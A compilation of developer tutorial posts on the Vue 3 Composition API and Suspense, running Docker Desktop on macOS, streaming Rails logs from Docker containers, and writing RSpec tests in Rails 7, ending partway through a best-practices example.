⚡ Understanding Vue.js Composition API

Vue 3 introduced the Composition API — a modern, function-based approach to building components. If you’ve been using the Options API (data, methods, computed, etc.), this might feel like a big shift. But the Composition API gives you more flexibility, reusability, and scalability.

In this post, we’ll explore what it is, how it works, why it matters, and we’ll finish with a real-world API fetching example.

🧩 What is the Composition API?

The Composition API is a collection of functions (like ref, reactive, watch, computed) that you use inside a setup() function (or <script setup>). Instead of organizing code into option blocks, you compose logic directly.

👉 In short:
It lets you group related logic together in one place, making your components more readable and reusable.


🔑 Core Features

Here are the most important building blocks:

  • ref() → create reactive primitive values (like numbers, strings, booleans).
  • reactive() → create reactive objects or arrays.
  • computed() → define derived values based on reactive state.
  • watch() → run side effects when values change.
  • Lifecycle hooks (onMounted, onUnmounted, etc.) → usable inside setup().
  • Composables → reusable functions built with Composition API logic.

⚖️ Options API vs Composition API

Options API (Vue 2 style)

<script>
export default {
  data() {
    return {
      count: 0
    }
  },
  methods: {
    increment() {
      this.count++
    }
  }
}
</script>


Composition API (Vue 3 style)

<script setup>
import { ref } from 'vue'

const count = ref(0)
const increment = () => count.value++
</script>

<template>
  <p>{{ count }}</p>
  <button @click="increment">+</button>
</template>

✨ Notice the difference:

  • With Options API, logic is split across data and methods.
  • With Composition API, everything (state + methods) is grouped together.

🚀 Why Use Composition API?

  1. Better logic organization → Group related logic in one place.
  2. Reusability → Extract shared code into composables (useAuth, useFetch, etc.).
  3. TypeScript-friendly → Works smoothly with static typing.
  4. Scalable → Easier to manage large and complex components.

🌍 Real-World Example: Fetching API Data

Let’s say we want to fetch user data from an API.

Step 1: Create a composable useFetch.js

// composables/useFetch.js
import { ref, onMounted } from 'vue'

export function useFetch(url) {
  const data = ref(null)
  const error = ref(null)
  const loading = ref(true)

  onMounted(async () => {
    try {
      const res = await fetch(url)
      data.value = await res.json()
    } catch (err) {
      error.value = err
    } finally {
      loading.value = false
    }
  })

  return { data, error, loading }
}


Step 2: Use it inside a component

<script setup>
import { useFetch } from '@/composables/useFetch'

const { data, error, loading } = useFetch('https://jsonplaceholder.typicode.com/users')
</script>

<template>
  <div>
    <p v-if="loading">Loading...</p>
    <p v-if="error">Error: {{ error.message }}</p>
    <ul v-if="data">
      <li v-for="user in data" :key="user.id">{{ user.name }}</li>
    </ul>
  </div>
</template>

✨ What happened?

  • The composable useFetch handles logic for fetching.
  • The component only takes care of rendering.
  • Now, you can reuse useFetch anywhere in your app.

🎯 Final Thoughts

The Composition API makes Vue components cleaner, reusable, and scalable. It might look different at first, but once you start grouping related logic together, you’ll see how powerful it is compared to the Options API.

If you’re building modern Vue 3 apps, learning the Composition API is a must.


🔄 Vue.js: Composition API vs Mixins vs Composables

When working with Vue, developers often ask:

  • What’s the difference between the Composition API and Composables?
  • Do Mixins still matter in Vue 3?
  • When should I use one over the other?

Let’s break it down with clear explanations and examples.

🧩 Mixins (Vue 2 era)

🔑 What are Mixins?

Mixins are objects that contain reusable logic (data, methods, lifecycle hooks) which can be merged into components.

⚡ Example: Counter with a mixin

// mixins/counterMixin.js
export const counterMixin = {
  data() {
    return {
      count: 0
    }
  },
  methods: {
    increment() {
      this.count++
    }
  }
}

<script>
import { counterMixin } from '@/mixins/counterMixin'

export default {
  mixins: [counterMixin]
}
</script>

<template>
  <p>{{ count }}</p>
  <button @click="increment">+</button>
</template>

✅ Pros

  • Easy to reuse logic.
  • Simple syntax.

❌ Cons

  • Name conflicts → two mixins or component methods can override each other.
  • Hard to track where logic comes from in large apps.
  • Doesn’t scale well.

👉 That’s why Vue 3 encourages Composition API + Composables instead.


⚙️ Composition API

🔑 What is it?

The Composition API is a set of functions (ref, reactive, watch, computed, lifecycle hooks) that let you write components in a function-based style.

⚡ Example: Counter with Composition API

<script setup>
import { ref } from 'vue'

const count = ref(0)
const increment = () => count.value++
</script>

<template>
  <p>{{ count }}</p>
  <button @click="increment">+</button>
</template>

👉 Unlike Mixins, all logic lives inside the component — no magic merging.

✅ Pros

  • Explicit and predictable.
  • Works great with TypeScript.
  • Organizes related logic together instead of scattering across options.

🔄 Composables

🔑 What are Composables?

Composables are just functions that use the Composition API to encapsulate and reuse logic.

They’re often named with a use prefix (useAuth, useCounter, useFetch).

⚡ Example: Reusable counter composable

// composables/useCounter.js
import { ref } from 'vue'

export function useCounter() {
  const count = ref(0)
  const increment = () => count.value++
  return { count, increment }
}

Usage in a component:

<script setup>
import { useCounter } from '@/composables/useCounter'

const { count, increment } = useCounter()
</script>

<template>
  <p>{{ count }}</p>
  <button @click="increment">+</button>
</template>

✅ Pros

  • Clear and explicit (unlike Mixins).
  • Reusable across multiple components.
  • Easy to test (plain functions).
  • Scales beautifully in large apps.

🆚 Side-by-Side Comparison

FeatureMixins 🧩Composition API ⚙️Composables 🔄
Introduced inVue 2Vue 3Vue 3
ReusabilityYes, but limitedMostly inside componentsYes, very flexible
Code OrganizationScattered across mixinsGrouped inside setup()Encapsulated in functions
ConflictsPossible (naming issues)NoneNone
TestabilityHarderGoodExcellent
TypeScript SupportPoorStrongStrong
Recommended in Vue 3?❌ Not preferred✅ Yes✅ Yes

🎯 Final Thoughts

  • Mixins were useful in Vue 2, but they can cause naming conflicts and make code hard to trace.
  • Composition API solves these issues by letting you organize logic in setup() with functions like ref, reactive, watch.
  • Composables build on the Composition API — they’re just functions that encapsulate and reuse logic across components.

👉 In Vue 3, the recommended pattern is:

  • Use Composition API inside components.
  • Extract reusable logic into Composables.
  • Avoid Mixins unless maintaining legacy Vue 2 code.

🚀 Optimizing Vue 3 Page Rendering with for Async Components

When building a homepage in Vue, it’s common to split the UI into multiple components. Some of them are purely presentational, while others fetch data from APIs.

Here’s the problem: if one of those components uses an await during its setup, Vue will wait for it before rendering the parent. That means a single API call can block the entire page from appearing to the user.

That’s not what we want. A modern web app should feel snappy and responsive, even when waiting for data.

Vue 3 gives us the perfect tool for this: <Suspense>.


🏗 The Starting Point

Let’s look at a simplified index.vue homepage:

<template>
  <div>
    <Component1 :perServingPrice="data.perServingPrice" />

    <Component2 :perServingPrice="data.perServingPrice" />
    <Component3 :landingContentKey="landingContentKey" />
    <Component4 :perServingPrice="data.perServingPrice" />
    <Component5 :landingContentKey="landingContentKey" />
    <Component6 :recipes="data.recipes" />
    <Component7 :landingContentKey="landingContentKey" />
    <Component8 :recipes="data.recipes" />
  </div>
</template>

<script setup lang="ts">
import Component1 from '@/components/HomePage/Component1.vue'
import Component2 from '@/components/HomePage/Component2.vue'
import Component3 from '@/components/HomePage/Component3.vue'
import Component4 from '@/components/HomePage/Component4.vue'
import Component5 from '@/components/HomePage/Component5.vue'
import Component6 from '@/components/HomePage/Component6.vue'
import Component7 from '@/components/HomePage/Component7.vue'
import Component8 from '@/components/HomePage/Component8.vue'

const data = {
  perServingPrice: 10,
  recipes: [],
}
const landingContentKey = 'homepage'
</script>

Now imagine:

  • Component2 fetches special offers.
  • Component6 fetches recipe data.
  • Component8 fetches trending dishes.

If those API calls are written like this inside a child component:

<script setup lang="ts">
const response = await fetch('/api/recipes')
const recipes = await response.json()
</script>

➡️ Vue will not render the parent index.vue until this await is finished. That means the entire page waits, even though other components (like Component1 and Component3) don’t need that data at all.


⏳ Why Blocking Is a Problem

Let’s simulate the render timeline without <Suspense>:

  • At t=0s: Page requested.
  • At t=0.3s: HTML + JS bundles load.
  • At t=0.4s: Component2 makes an API request.
  • At t=0.8s: Component6 makes an API request.
  • At t=1.2s: Component8 makes an API request.
  • At t=2.0s: All API responses return → finally the page renders.

The user stares at a blank page until everything resolves. 😩


🎯 Enter <Suspense>

The <Suspense> component lets you wrap child components that might suspend (pause) while awaiting data. Instead of blocking the whole page, Vue shows:

  • The rest of the parent page (immediately).
  • A fallback placeholder for the async child until it’s ready.

📝 Example: Wrapping Component6

<Suspense>
  <template #default>
    <Component6 :recipes="data.recipes" />
  </template>
  <template #fallback>
    <div class="skeleton">Loading recipes...</div>
  </template>
</Suspense>

Here’s what happens now:

  • At t=0.4s: The page renders.
  • <Component6> isn’t ready yet, so Vue shows the fallback (Loading recipes...).
  • At t=2.0s: Recipes arrive → Vue automatically replaces the fallback with the actual component.

Result: The page is usable instantly. ✅


🔄 Applying Suspense to Multiple Components

We can selectively wrap only the async components:

<template>
  <div>
    <Component1 :perServingPrice="data.perServingPrice" />

    <Suspense>
      <template #default>
        <Component2 :perServingPrice="data.perServingPrice" />
      </template>
      <template #fallback>
        <div class="skeleton">Loading deals...</div>
      </template>
    </Suspense>

    <Component3 :landingContentKey="landingContentKey" />

    <Suspense>
      <template #default>
        <Component6 :recipes="data.recipes" />
      </template>
      <template #fallback>
        <div class="skeleton">Loading recipes...</div>
      </template>
    </Suspense>

    <Component7 :landingContentKey="landingContentKey" />

    <Suspense>
      <template #default>
        <Component8 :recipes="data.recipes" />
      </template>
      <template #fallback>
        <div class="skeleton">Loading trending dishes...</div>
      </template>
    </Suspense>
  </div>
</template>


📦 Combining with Async Imports

Vue also allows lazy-loading the component itself, not just the data.

<script setup lang="ts">
import { defineAsyncComponent } from 'vue'

const Component6 = defineAsyncComponent(() =>
  import('@/components/HomePage/Component6.vue')
)
</script>

Now:

  • If the component file is heavy, Vue won’t even load it until needed.
  • Suspense covers both the network request and the async component loading.

📊 Before vs After

Without Suspense:

  • Whole page waits until all API calls resolve.
  • User sees blank → page suddenly appears.

With Suspense:

  • Page renders instantly with placeholders.
  • Components hydrate individually as data arrives.
  • User perceives speed even if data is slow.

🏆 Best Practices

  1. Wrap only async components. Don’t spam <Suspense> everywhere.
  2. Always provide a meaningful fallback. Use skeleton loaders, not just “Loading…”.
  3. Lift state when appropriate. If multiple components need the same data, fetch once in the parent and pass it down as props.
  4. Combine Suspense with code-splitting. Async imports keep your initial bundle small.
  5. Group related components. You can wrap multiple components in a single <Suspense> if they depend on the same async source.

✅ Conclusion

With Vue 3 <Suspense>, you can make sure that your homepage never blocks while waiting for data. Each component becomes non-blocking and self-contained, showing a loader until it’s ready.

This is the same direction React and Angular have taken:

  • React → Suspense + Concurrent Rendering.
  • Angular → Route Resolvers + AsyncPipe.
  • Vue → <Suspense> + async setup.

👉 If you want your Vue pages to feel fast and modern, adopt <Suspense> for async components.


Happy Vue Coding!

Working with docker on Mac: Core Docker Concepts | Docker Desktop

Docker is an open‑source platform for packaging applications and their dependencies into lightweight, portable units called containers, enabling consistent behavior across development, testing, and production environments (Docker, Wikipedia). Its core component, the Docker Engine, powers container execution, while Docker Desktop—a user‑friendly application tailored for macOS—bundles the Docker Engine, Docker CLI, Docker Compose, Kubernetes integration, and a visual Dashboard into a seamless package (Docker Documentation).

On macOS, Docker Desktop simplifies container workflows by leveraging native virtualization (HyperKit on Intel Macs, Apple’s Hypervisor.framework on Apple Silicon), eliminating the need for cumbersome VMs like VirtualBox (The Mac Observer, Medium).

Installation is straightforward: simply download the appropriate .dmg installer (Intel or Apple Silicon), drag Docker into the Applications folder, and proceed through setup—granting permissions and accepting licensing as needed (LogicCore Digital Blog). Once up and running, you can verify your setup via commands like:

docker --version
docker run hello-world
docker compose version

These commands confirm successful installation and provide instant access to Docker’s ecosystem on your Mac.


Commands Executed in Local System:

➜ docker --version
zsh: command not found: docker

➜ docker ps
# check the exact container name:
➜ docker ps --format "table {{.Names}}\t{{.Image}}"

# rebuild the containers
➜ docker-compose down
➜ docker-compose up --build

# Error: target webpacker: failed to solve: error getting credentials - err: exec: "docker-credential-desktop": executable file not found in $PATH, out: ``

➜ cat ~/.docker/config.json # remove "credsStore": "desktop"

# Remove all containers and images
➜ docker container prune -f
➜ docker image prune -f
➜ docker ps -a # check containers
➜ docker images # check images
➜ docker-compose up --build -d # build again

# postgres
➜ docker exec -it image-name psql -U username -d database_name

# rails console
➜ docker exec -it image-name rails c

# get into the docker container shell
➜ docker exec -it image-name bash

🐳 1. Difference between docker compose up --build and docker compose up

docker compose up

  • Just starts the containers using the existing images.
  • If the image for a service doesn’t exist locally, Docker will pull it from the registry (e.g., Docker Hub).
  • It will not rebuild your image unless you explicitly tell it to.

docker compose up --build

  • Forces Docker to rebuild the images from the Dockerfile before starting the containers.
  • Useful when you’ve changed:
    • The Dockerfile
    • Files copied into the image
    • Dependencies
  • This ensures your running containers reflect your latest code and build instructions.

📌 Example:

docker compose up         # Use existing images (fast startup)
docker compose up --build # Rebuild images before starting

If you changed your app code and your Docker setup uses bind mounts (volumes), you usually don’t need --build unless the image itself changed.
If you changed the Dockerfile, then you need --build.


🖥 2. Why we use Docker Desktop & can we use Docker without it?

Docker Desktop is basically a GUI + background service that makes Docker easy to run on macOS and Windows.
It includes:

  • Docker Engine (runs containers)
  • Docker CLI
  • Docker Compose
  • Kubernetes (optional)
  • Settings & resource controls (CPU, RAM)
  • Networking setup
  • A UI to view containers, images, logs, etc.

Why needed on macOS & Windows?

  • Docker requires Linux kernel features like cgroups & namespaces.
  • macOS and Windows don’t have these natively, so Docker Desktop runs a lightweight Linux VM behind the scenes (using HyperKit, WSL2, etc.).
  • Without Docker Desktop, you’d need to set up that Linux VM manually, install Docker inside it, and configure networking — which is more complex.

Can you use Docker without Docker Desktop?
Yes, but:

  • On macOS/Windows — you’d have to:
    • Install a Linux VM manually (VirtualBox, VMware, UTM, etc.)
    • SSH into it
    • Install Docker Engine
    • Expose ports and share files manually
  • On Linux — you don’t need Docker Desktop at all, you can install Docker Engine directly via: sudo apt install docker.io
  • For Windows, Microsoft has Docker on WSL2 which can run without the Docker Desktop GUI, but requires WSL2 setup.

💡 In short:

  • Use --build when you change something in the image definition.
  • Docker Desktop = easiest way to run Docker on macOS/Windows.
  • You can skip Docker Desktop, but then you must manually set up a Linux VM with Docker.

🧩 1. Core Docker Concepts

TermWhat it isKey analogy
ImageA read-only blueprint (template) that defines what your app needs to run (OS base, packages, configs, your code). Built from a Dockerfile.Like a recipe for a dish
ContainerA running instance of an image. Containers are isolated processes, not full OSes.Like a meal prepared from the recipe
VolumePersistent storage for containers. Survives container restarts or deletions.Like a pantry/fridge where food stays even after cooking is done
Docker ComposeA YAML-based tool to define & run multi-container apps. Lets you describe services, networks, and volumes in one file and start them all at once.Like a restaurant order sheet for multiple dishes at once
NetworkVirtual network that containers use to talk to each other or the outside world.Like a kitchen intercom system

2. Kubernetes in simple words

Kubernetes (K8s) is a container orchestration system. It’s what you use when you have many containers across many machines and you need to manage them automatically.

What it does:

  • Deploy containers on a cluster of machines
  • Restart them if they crash
  • Scale up/down automatically
  • Load balance traffic between them
  • Handle configuration and secrets
  • Do rolling updates with zero downtime

📌 Analogy
If Docker Compose is like cooking multiple dishes at home, Kubernetes is like running a huge automated kitchen in a restaurant chain — you don’t manually turn on each stove; the system manages resources and staff.


🍏 3. How Docker Works on macOS

Your assumption is right — Docker needs Linux kernel features (cgroups, namespaces, etc.), and macOS doesn’t have them.

So on macOS:

  • Docker Desktop runs a lightweight Linux virtual machine under the hood using Apple’s HyperKit (before) or Apple Virtualization Framework (newer versions).
  • That VM runs the Docker Engine.
  • Your docker CLI in macOS talks to that VM over a socket.
  • All containers run inside that Linux VM, not directly on macOS.

Workflow:

Mac Terminal → Docker CLI → Linux VM in background → Container runs inside VM


4. Hardware Needs for Docker on macOS

Yes, VMs can be heavy, but Docker’s VM for macOS is minimal — not like a full Windows or Ubuntu desktop VM.

Typical Docker Desktop VM:

  • Base OS: Tiny Linux distro (Alpine or LinuxKit)
  • Memory: Usually 2–4 GB (configurable)
  • CPU: 2–4 virtual cores (configurable)
  • Disk: ~1–2 GB base, plus images & volumes you pull

Recommended host machine for smooth Docker use on macOS:

  • RAM: At least 8 GB (16 GB is comfy)
  • CPU: Modern dual-core or quad-core
  • Disk: SSD (fast read/write for images & volumes)

💡 Reason it’s lighter than “normal” VMs:
Docker doesn’t need a full OS with GUI in its VM — just the kernel & minimal services to run containers.


Quick Recap Table:

TermPurposePersistent?
ImageApp blueprintYes (stored on disk)
ContainerRunning app from imageNo (dies when stopped unless data in volume)
VolumeData storage for containersYes
ComposeMulti-container managementYes (config file)
KubernetesCluster-level orchestrationN/A

Quickest way to see per-request Rails logs in Docker

  • Run app logs:
docker compose logs -f --tail=200 main-app
  • Run Sidekiq logs:
docker compose logs -f --tail=200 sidekiq
  • Filter for a single request by its request ID (see below):
docker compose logs -f main-app | rg 'request_id=YOUR_ID'

Ensure logs are emitted to STDOUT (so Docker can collect them)

Your images already set RAILS_LOG_TO_STDOUT=true and the app routes logs to STDOUT:

if ENV["RAILS_LOG_TO_STDOUT"].present?
  logger           = ActiveSupport::Logger.new(STDOUT)
  logger.formatter = config.log_formatter
  config.log_tags  = [:subdomain, :uuid]
  config.logger    = ActiveSupport::TaggedLogging.new(logger)
end

So the docker compose logs commands above are the right way. Tailing log files inside the container usually isn’t needed, but if you want to:

docker compose exec main-app bash -lc 'tail -f log/development.log'

Trace a single request end-to-end

  • Get the request ID from the response (Rails sets X-Request-Id):
REQ=$(curl -s -D - http://localhost:3001/your/path -o /dev/null | awk '/X-Request-Id/ {print $2}' | tr -d '\r')
docker compose logs -f main-app | rg "$REQ"
  • Your app tags logs with a UUID per request; switching to the canonical tag makes grepping easier. Optionally change tags to:
# in `website-v1/config/application.rb`
config.log_tags = [:request_id]

Make logs easier to read (optional, but highly recommended)

  • Add concise, per-request logging (1 line per request) with JSON output for easy grep/parse:
# Gemfile
gem 'lograge'

# config/initializers/lograge.rb
Rails.application.configure do
  config.lograge.enabled = true
  config.lograge.formatter = Lograge::Formatters::Json.new
  config.lograge.custom_options = lambda do |event|
    {
      request_id: event.payload[:request_id],
      params: event.payload[:params].except('controller','action'),
      user_id: event.payload[:user_id],
      time: Time.now.utc
    }
  end
end

Then:

bundle install
docker compose restart main-app
docker compose logs -f main-app

Now you can grep easily:

docker compose logs -f main-app | jq -r 'select(.request_id=="'"$REQ"'")'

Tuning

  • In development, you already have config.log_level = :debug. For production, consider :info instead of :warn to get request lines:
# config/environments/production.rb
config.log_level = :info
  • Sidekiq logs are a separate stream (service sidekiq); use its logs for background job tracing.
  • Noise reduction: you already have config.assets.quiet = true in development.

If you want, I can switch to :request_id tagging and add lograge with JSON in the repo now.

  • Made no code edits; provided commands to stream logs from main-app and sidekiq.
  • Confirmed logs are routed to STDOUT via RAILS_LOG_TO_STDOUT and TaggedLogging in application.rb.
  • Offered optional improvements (switch to :request_id, add lograge JSON) and how to grep a single request by ID.

Complete Guide to RSpec with Rails 7+: From Basics to Advanced Testing

RSpec is the most popular testing framework for Ruby and Rails applications. This comprehensive guide covers everything from basic RSpec syntax to advanced Rails 7+ testing patterns, with real-world examples and scenarios.

Table of Contents

  1. RSpec Basics
  2. Rails 7+ Integration
  3. Core RSpec Methods
  4. Testing Scenarios
  5. Advanced Features
  6. Best Practices

RSpec Basics

Basic Structure

require "rails_helper"

RSpec.describe Session::AppliedDiscount do
  # Test content goes here
end

Key Components:

  • require "rails_helper" – Loads Rails testing environment
  • RSpec.describe – Groups related tests
  • describe can take a class, string, or symbol

The Building Blocks

describe and context

RSpec.describe User do
  describe "#full_name" do
    context "when first and last name are present" do
      # tests here
    end

    context "when only first name is present" do
      # tests here
    end
  end

  describe ".active_users" do
    context "with active users in database" do
      # tests here
    end
  end
end

it – Individual Test Cases

it "returns the user's full name" do
  user = User.new(first_name: "John", last_name: "Doe")
  expect(user.full_name).to eq("John Doe")
end

it "handles missing last name gracefully" do
  user = User.new(first_name: "John")
  expect(user.full_name).to eq("John")
end

Core RSpec Methods

let and let!

Lazy Evaluation with let
RSpec.describe Session::Discount do
  let(:cookies) { CookiesStub.new }
  let(:code) { create_code(10) }
  let(:customer) { init_customer }
  let(:customer_code) { create_customer_code(customer) }

  it "uses lazy evaluation" do
    # code is only created when first accessed
    expect(code.amount).to eq(10)
  end
end
Immediate Evaluation with let!
let!(:user) { User.create(name: "John") }  # Created immediately
let(:profile) { user.profile }             # Created when accessed

it "has user already created" do
  expect(User.count).to eq(1)  # user already exists
end

subject

Implicit Subject
RSpec.describe User do
  let(:user_params) { { name: "John", email: "john@example.com" } }

  subject { User.new(user_params) }

  it { is_expected.to be_valid }
  it { is_expected.to respond_to(:full_name) }
end
Named Subject
describe '#initial_discount' do
  subject(:initial_discount_in_rupee) { 
    described_class.new(cookies: cookies).initial_discount_in_rupee 
  }

  it 'returns initial discount for customer' do
    accessor.set_customer_code(customer_code: customer_code)
    expect(initial_discount_in_rupee).to eq(expected_amount)
  end
end

expect and Matchers

Basic Matchers
# Equality
expect(user.name).to eq("John")
expect(user.age).to be > 18
expect(user.email).to include("@")

# Boolean checks
expect(user).to be_valid
expect(user.active?).to be true
expect(user.admin?).to be_falsy

# Type checks
expect(user.created_at).to be_a(Time)
expect(user.tags).to be_an(Array)
Collection Matchers
expect(users).to include(john_user)
expect(user.roles).to contain_exactly("admin", "user")
expect(shopping_cart.items).to be_empty
expect(search_results).to have(3).items
String Matchers
expect(user.email).to match(/\A[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i)
expect(response.body).to include("Welcome")
expect(error_message).to start_with("Error:")
expect(success_message).to end_with("successfully!")

Rails 7+ Integration

Rails Helper Setup

# spec/rails_helper.rb
require 'spec_helper'
ENV['RAILS_ENV'] ||= 'test'
require_relative '../config/environment'

abort("The Rails environment is running in production mode!") if Rails.env.production?
require 'rspec/rails'

RSpec.configure do |config|
  config.fixture_path = "#{::Rails.root}/spec/fixtures"
  config.use_transactional_fixtures = true
  config.infer_spec_type_from_file_location!
  config.filter_rails_from_backtrace!
end

Testing Controllers

RSpec.describe Api::V1::SessionsController, type: :controller do
  let(:user) { create(:user) }
  let(:valid_params) { { email: user.email, password: "password" } }

  describe "POST #create" do
    context "with valid credentials" do
      it "returns success response" do
        post :create, params: valid_params
        expect(response).to have_http_status(:success)
        expect(JSON.parse(response.body)["success"]).to be true
      end

      it "sets authentication token" do
        post :create, params: valid_params
        expect(response.cookies["auth_token"]).to be_present
      end
    end

    context "with invalid credentials" do
      it "returns unauthorized status" do
        post :create, params: { email: user.email, password: "wrong" }
        expect(response).to have_http_status(:unauthorized)
      end
    end
  end
end

Testing Models

RSpec.describe User, type: :model do
  describe "validations" do
    it { is_expected.to validate_presence_of(:email) }
    it { is_expected.to validate_uniqueness_of(:email) }
    it { is_expected.to validate_length_of(:password).is_at_least(8) }
  end

  describe "associations" do
    it { is_expected.to have_many(:orders) }
    it { is_expected.to belong_to(:organization) }
    it { is_expected.to have_one(:profile) }
  end

  describe "scopes" do
    let!(:active_user) { create(:user, :active) }
    let!(:inactive_user) { create(:user, :inactive) }

    it "returns only active users" do
      expect(User.active).to include(active_user)
      expect(User.active).not_to include(inactive_user)
    end
  end
end

Testing Scenarios

Testing Service Objects

RSpec.describe Session::Discount do
  let(:cookies) { CookiesStub.new }
  let(:accessor) { Session::CookieDiscount.new(cookies) }

  describe '#initialize' do
    it 'calls ClearDiscountCode' do
      expect_any_instance_of(Session::ClearDiscountCode).to receive(:run)
      described_class.new(cookies: cookies)
    end

    it 'removes discount_code if referral_code presented' do
      accessor.set_code(discount)
      accessor.set_referral_code(referral_code: code)

      described_class.new(cookies: cookies)
      expect(accessor.discount).to be nil
    end
  end
end

Testing API Endpoints

RSpec.describe "API V1 Sessions", type: :request do
  let(:headers) { { "Content-Type" => "application/json" } }

  describe "POST /api/v1/sessions" do
    let(:user) { create(:user) }
    let(:params) do
      {
        session: {
          email: user.email,
          password: "password"
        }
      }
    end

    it "creates a new session" do
      post "/api/v1/sessions", params: params.to_json, headers: headers

      expect(response).to have_http_status(:created)
      expect(json_response["user"]["id"]).to eq(user.id)
      expect(json_response["token"]).to be_present
    end

    context "with invalid credentials" do
      before { params[:session][:password] = "wrong_password" }

      it "returns error" do
        post "/api/v1/sessions", params: params.to_json, headers: headers

        expect(response).to have_http_status(:unauthorized)
        expect(json_response["error"]).to eq("Invalid credentials")
      end
    end
  end
end

Testing Background Jobs

RSpec.describe EmailNotificationJob, type: :job do
  include ActiveJob::TestHelper

  let(:user) { create(:user) }

  describe "#perform" do
    it "sends welcome email" do
      expect {
        EmailNotificationJob.perform_now(user.id, "welcome")
      }.to change { ActionMailer::Base.deliveries.count }.by(1)
    end

    it "enqueues job" do
      expect {
        EmailNotificationJob.perform_later(user.id, "welcome")
      }.to have_enqueued_job(EmailNotificationJob)
    end
  end
end

Testing with Database Transactions

RSpec.describe OrderProcessor do
  describe "#process" do
    let(:order) { create(:order, :pending) }
    let(:payment_method) { create(:payment_method) }

    it "processes order successfully" do
      expect {
        OrderProcessor.new(order).process(payment_method)
      }.to change { order.reload.status }.from("pending").to("completed")
    end

    it "handles payment failures" do
      allow(payment_method).to receive(:charge).and_raise(PaymentError)

      expect {
        OrderProcessor.new(order).process(payment_method)
      }.to raise_error(PaymentError)

      expect(order.reload.status).to eq("failed")
    end
  end
end

Advanced Features

Shared Examples

# spec/support/shared_examples/auditable.rb
RSpec.shared_examples "auditable" do
  it "tracks creation" do
    expect(subject.created_at).to be_present
    expect(subject.created_by).to eq(current_user)
  end

  it "tracks updates" do
    subject.update(name: "Updated Name")
    expect(subject.updated_by).to eq(current_user)
  end
end

# Usage in specs
RSpec.describe User do
  let(:current_user) { create(:user) }
  subject { create(:user) }

  it_behaves_like "auditable"
end

Custom Matchers

# spec/support/matchers/be_valid_email.rb
RSpec::Matchers.define :be_valid_email do
  match do |actual|
    actual =~ /\A[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i
  end

  failure_message do |actual|
    "expected #{actual} to be a valid email address"
  end
end

# Usage
expect(user.email).to be_valid_email

Hooks and Callbacks

RSpec.describe User do
  before(:each) do
    @original_time = Time.current
    travel_to Time.zone.parse("2023-01-01 12:00:00")
  end

  after(:each) do
    travel_back
  end

  before(:all) do
    # Runs once before all tests in this describe block
    @test_data = create_test_data
  end

  around(:each) do |example|
    Rails.logger.silence do
      example.run
    end
  end
end

Stubbing and Mocking

describe "external API integration" do
  let(:api_client) { instance_double("APIClient") }

  before do
    allow(APIClient).to receive(:new).and_return(api_client)
  end

  it "calls external service" do
    expect(api_client).to receive(:get_user_data).with(user.id)
      .and_return({ name: "John", email: "john@example.com" })

    result = UserDataService.fetch(user.id)
    expect(result[:name]).to eq("John")
  end

  it "handles API errors gracefully" do
    allow(api_client).to receive(:get_user_data).and_raise(Net::TimeoutError)

    expect {
      UserDataService.fetch(user.id)
    }.to raise_error(ServiceUnavailableError)
  end
end

Testing Time-dependent Code

describe "subscription expiry" do
  let(:subscription) { create(:subscription, expires_at: 2.days.from_now) }

  it "is not expired when current" do
    expect(subscription).not_to be_expired
  end

  it "is expired when past expiry date" do
    travel_to 3.days.from_now do
      expect(subscription).to be_expired
    end
  end
end

Factory Bot Integration

Basic Factory Setup

# spec/factories/users.rb
FactoryBot.define do
  factory :user do
    sequence(:email) { |n| "user#{n}@example.com" }
    first_name { "John" }
    last_name { "Doe" }
    password { "password123" }

    trait :admin do
      role { "admin" }
    end

    trait :with_profile do
      after(:create) do |user|
        create(:profile, user: user)
      end
    end

    factory :admin_user, traits: [:admin]
  end
end

# Usage in tests
let(:user) { create(:user) }
let(:admin) { create(:user, :admin) }
let(:user_with_profile) { create(:user, :with_profile) }

Advanced Factory Patterns

# spec/factories/orders.rb
FactoryBot.define do
  factory :order do
    user
    total_amount { 100.00 }
    status { "pending" }

    factory :completed_order do
      status { "completed" }
      completed_at { Time.current }

      after(:create) do |order|
        create_list(:order_item, 3, order: order)
      end
    end
  end
end

Testing Different Types

Feature Tests (System Tests)

RSpec.describe "User Registration", type: :system do
  it "allows user to register" do
    visit "/signup"

    fill_in "Email", with: "test@example.com"
    fill_in "Password", with: "password123"
    fill_in "Confirm Password", with: "password123"

    click_button "Sign Up"

    expect(page).to have_content("Welcome!")
    expect(page).to have_current_path("/dashboard")
  end
end

Mailer Tests

RSpec.describe UserMailer, type: :mailer do
  describe "#welcome_email" do
    let(:user) { create(:user) }
    let(:mail) { UserMailer.welcome_email(user) }

    it "sends to correct recipient" do
      expect(mail.to).to eq([user.email])
    end

    it "has correct subject" do
      expect(mail.subject).to eq("Welcome to Our App!")
    end

    it "includes user name in body" do
      expect(mail.body.encoded).to include(user.first_name)
    end
  end
end

Helper Tests

RSpec.describe ApplicationHelper, type: :helper do
  describe "#format_currency" do
    it "formats positive amounts" do
      expect(helper.format_currency(100.50)).to eq("$100.50")
    end

    it "handles zero amounts" do
      expect(helper.format_currency(0)).to eq("$0.00")
    end

    it "formats negative amounts" do
      expect(helper.format_currency(-50.25)).to eq("-$50.25")
    end
  end
end

Best Practices

1. Clear Test Structure

# Good: Clear, descriptive names
describe User do
  describe "#full_name" do
    context "when both names are present" do
      it "returns concatenated first and last name" do
        # test implementation
      end
    end
  end
end

# Bad: Unclear names
describe User do
  it "works" do
    # test implementation
  end
end

2. One Assertion Per Test

# Good: Single responsibility
it "validates email presence" do
  user = User.new(email: nil)
  expect(user).not_to be_valid
end

it "validates email format" do
  user = User.new(email: "invalid-email")
  expect(user).not_to be_valid
end

# Bad: Multiple assertions
it "validates email" do
  user = User.new(email: nil)
  expect(user).not_to be_valid

  user.email = "invalid-email"
  expect(user).not_to be_valid

  user.email = "valid@email.com"
  expect(user).to be_valid
end

3. Use let for Test Data

# Good: Reusable and lazy-loaded
let(:user) { create(:user, email: "test@example.com") }
let(:order) { create(:order, user: user, total: 100) }

it "calculates tax correctly" do
  expect(order.tax_amount).to eq(8.50)
end

# Bad: Repeated setup
it "calculates tax correctly" do
  user = create(:user, email: "test@example.com")
  order = create(:order, user: user, total: 100)
  expect(order.tax_amount).to eq(8.50)
end

4. Meaningful Error Messages

# Good: Custom error messages
expect(discount.amount).to eq(50), 
  "Expected discount amount to be $50 for premium users"

# Good: Descriptive matchers
expect(user.subscription).to be_active,
  "User subscription should be active after successful payment"

5. Test Edge Cases

describe "#divide" do
